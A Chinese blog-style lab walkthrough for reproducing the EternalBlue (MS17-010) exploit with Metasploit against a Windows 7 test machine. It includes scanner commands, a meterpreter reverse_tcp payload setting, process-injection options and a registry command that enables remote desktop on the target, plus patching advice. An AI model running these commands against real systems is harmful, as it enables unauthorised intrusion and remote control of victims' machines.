复现“永恒之蓝”漏洞利用现象

复现“永恒之蓝”漏洞利用现象

一、背景:

勒索病毒WannaCry肆虐全球,利用Windows操作系统漏洞(MS17-010),因链式反应迅猛自动传播,校园电脑、个人电脑、企业电脑、政府机关都是重灾区。中毒电脑所有文档被加密,只有支付高额赎金才能解密恢复文件,对重要数据造成严重损失。根据网络安全机构通报,这是不法分子利用NSA黑客武器库泄漏的“永恒之蓝”发起的蠕虫病毒攻击传播勒索恶意事件。恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

 

二、实验环境

1、Kali2017

2、靶机windows 7 32位(需要关闭防火墙)

 

三、实验步骤

1、安装利用模块:Eternalblue-Doublepulsar

Metasploit Eternalblue-Doublepulsar 利用模块下载:

github:https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

下载好后,将Eternalblue-Doublepulsar-Metasploit-master.zip压缩文件,解压后拷贝至kali系统中,然后将eternalblue_doublepulsar.rb,拷贝到/usr/share/metasploit-framework/modules/exploits/windows/smb目录中。

Eternalblue-Doublepulsar-Metasploit目录,整个拷贝到root目录下。

 

2、MS17-010漏洞检测

cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb

wget https://www.exploit-db.com/download/41891 -O smb_ms_17_010.rb

msf > use auxiliary/scanner/smb/smb_ms17_010

msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.100.108   //远程目标IP地址

msf auxiliary(smb_ms17_010) > exploit

可以看到目标机器存在ms17-010漏洞,使用nmap扫描可以看到它的445端口也处于开启状态。

 

 

3、使用“永恒之蓝”工具利用MS17-010漏洞

 

 

   

 

   

 

   

 

   

 

四、实验验证

 

 

   

 

   

 

注意如出现以下问题

No such file or directory @ rb_sysopen - /root/.wine/drive_c/eternal11.dll

Exploit completed,but no session was created.

我们可以试着打开多架构支持/安装wine32,使用wine -h 命令查看

dpkg --add-architecture i386 && apt-get update && apt-get install wine32 //安装wine32

 

安全建议:

1、关闭445、139等端口

2、下载并更新补丁,及时修复漏洞(目前微软已经紧急发布XP、Win8、Windows server2003等系统补丁,已经支持所有主流系统,请立即更新)。

XP、Windows Server 2003、win8等系统访问:http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

Win7、win8.1、Windows Server 2008、Windows 10, Windows Server 2016等系统访问:https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

3、支付比特币并不能解密文件,不要支付比特币,保留被加密的文件,等待解密。

 

注意:

如果是64位操作系统,则需要将PROCESSINJECT设置为lsass.exe //设置这个会导致电脑重启,可以试着注入其他进程,比如explorer.exe等

命令如下 set PROCESSINJECT lsass.exe

同时将反弹shell,设置为windows/x64/meterpreter/reverse_tcp

set payload windows/x64/meterpreter/reverse_tcp

 

开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

posted @ 2021-11-06 19:41  若水一瓢  阅读(1011)  评论(0编辑  收藏  举报